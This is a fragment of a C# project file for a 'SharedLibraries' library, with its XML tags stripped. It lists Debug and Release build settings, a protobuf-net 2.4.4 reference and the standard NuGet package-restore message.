SharedLibraries 12 | SharedLibraries 13 | v4.0 14 | 512 15 | true 16 | 17 | 18 | 19 | 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | 28 | 29 | none 30 | true 31 | bin\Release\ 32 | 33 | 34 | prompt 35 | 4 36 | 37 | 38 | 39 | ..\packages\protobuf-net.2.4.4\lib\net40\protobuf-net.dll 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 70 | 71 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /SharedLibraries/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | --------------------------------------------------------------------------------